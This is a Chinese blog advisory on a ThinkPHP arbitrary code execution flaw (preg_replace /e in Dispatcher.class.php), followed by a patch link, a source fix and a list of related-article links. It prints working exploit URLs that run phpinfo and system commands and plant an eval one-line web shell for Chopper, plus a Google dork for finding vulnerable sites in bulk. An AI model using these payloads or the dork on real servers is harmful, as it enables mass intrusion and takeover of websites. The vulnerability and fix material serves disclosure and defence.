ThinkPHP框架任意代码执行漏洞的利用及其修复方法


Posted in PHP onJuly 04, 2014

ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常用操作,单一入口模式等,在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.
 
然而近期thinkphp框架爆出了一个任意代码执行漏洞,其危害性相当的高,漏洞利用方法如下:
 

index.php/module/aciton/param1/${@print(THINK_VERSION)}
 
index.php/module/aciton/param1/${@function_all()}

其中的function_all代表任何函数,比如:

index.php/module/aciton/param1/${@phpinfo()}

就可以获取服务器的系统配置信息等。

index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al

可以列出网站文件列表

index.php/module/action/param1/{${eval($_POST[s])}}

就可以直接执行一句话代码,用菜刀直接连接.

这样黑客们就可以直接通过google批量搜索关键字:thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。
 
thinkphp框架执行任意代码漏洞修复方法:
 
用户可下载官方发布的补丁:
 
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
 
或者或者直接修改源码:

将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

修改为:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));

将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。
 
注:本文仅供学习参考使用,请不要用于非法用途。

希望本文所述对大家基于ThinkPHP框架的PHP程序设计有所帮助。

PHP 相关文章推荐
PHP 面向对象实现代码
Nov 11 PHP
使用迭代器 遍历文件信息的详解
Jun 08 PHP
领悟php接口中interface存在的意义
Jun 27 PHP
PHP利用REFERER根居访问来地址进行页面跳转
Sep 28 PHP
php数组合并的二种方法
Mar 21 PHP
PHP file_get_contents函数读取远程数据超时的解决方法
May 13 PHP
完美解决phpdoc导出文档中@package的warning及Error的错误
May 17 PHP
laravel 5.3中自定义加密服务的方案详解
May 09 PHP
Swoole实现异步投递task任务案例详解
Apr 02 PHP
PHP利用百度ai实现文本和图片审核
May 08 PHP
laravel执行php artisan migrate报错的解决方法
Oct 09 PHP
PHP单元测试配置与使用方法详解
Dec 27 PHP
php实现批量压缩图片文件大小的脚本
Jul 04 #PHP
PHP实现的英文名字全拼随机排号脚本
Jul 04 #PHP
PHP临时文件的安全性分析
Jul 04 #PHP
PHP curl实现抓取302跳转后页面的示例
Jul 04 #PHP
PHP不用递归遍历目录下所有文件的代码
Jul 04 #PHP
对于ThinkPHP框架早期版本的一个SQL注入漏洞详细分析
Jul 04 #PHP
PHP+Memcache实现wordpress访问总数统计(非插件)
Jul 04 #PHP
You might like
PHP生成压缩文件实例
2015/02/07 PHP
php比较两个字符串长度的方法
2015/07/13 PHP
详细解读PHP中接口的应用
2015/08/12 PHP
php轻松实现文件上传功能
2016/03/03 PHP
Zend Framework动作助手(Zend_Controller_Action_Helper)用法详解
2016/03/05 PHP
PHP使用PHPExcel实现批量上传到数据库的方法
2017/06/08 PHP
php安装扩展mysqli的实现步骤及报错解决办法
2017/09/23 PHP
浅谈php调用python文件
2019/03/29 PHP
Javascript定义类(class)的三种方法详解
2015/03/13 Javascript
javascript中数组方法汇总
2015/07/07 Javascript
JS实现alert中显示换行的方法
2015/12/17 Javascript
JavaScript提高性能知识点汇总
2016/01/15 Javascript
限制文本框只能输入数字||只能是数字和小数点||只能是整数和浮点数
2016/05/27 Javascript
JavaScript6 let 新语法优势介绍
2016/07/15 Javascript
javascript实现获取图片大小及图片等比缩放的方法
2016/11/24 Javascript
如何使用JS在HTML中自定义字符串格式化
2017/07/20 Javascript
百度地图去掉marker覆盖物或者去掉maker的label文字方法
2018/01/26 Javascript
如何理解Vue的v-model指令的使用方法
2018/07/19 Javascript
laydate如何根据开始时间或者结束时间限制范围
2018/11/15 Javascript
vue-cli3+typescript初体验小结
2019/02/28 Javascript
[56:24]DOTA2上海特级锦标赛主赛事日 - 3 胜者组第二轮#1Liquid VS MVP.Phx第二局
2016/03/04 DOTA
Python与Redis的连接教程
2015/04/22 Python
在Django的视图(View)外使用Session的方法
2015/07/23 Python
Python基于回溯法子集树模板实现图的遍历功能示例
2017/09/05 Python
python 字典 setdefault()和get()方法比较详解
2019/08/07 Python
Python tkinter常用操作代码实例
2020/01/03 Python
TensorFlow实现自定义Op方式
2020/02/04 Python
将pymysql获取到的数据类型是tuple转化为pandas方式
2020/05/15 Python
伦敦的高级牛仔布专家:Trilogy
2018/08/06 全球购物
北京某公司的.net笔试题
2014/03/20 面试题
大学生优秀团员事迹材料
2014/01/30 职场文书
毕业实习评语
2014/02/10 职场文书
后勤主管岗位职责
2014/03/01 职场文书
审计局班子四风对照检查材料思想汇报
2014/10/07 职场文书
2015年幼儿园个人工作总结
2015/04/25 职场文书
html5 录制mp3音频支持采样率和比特率设置
2021/07/15 Javascript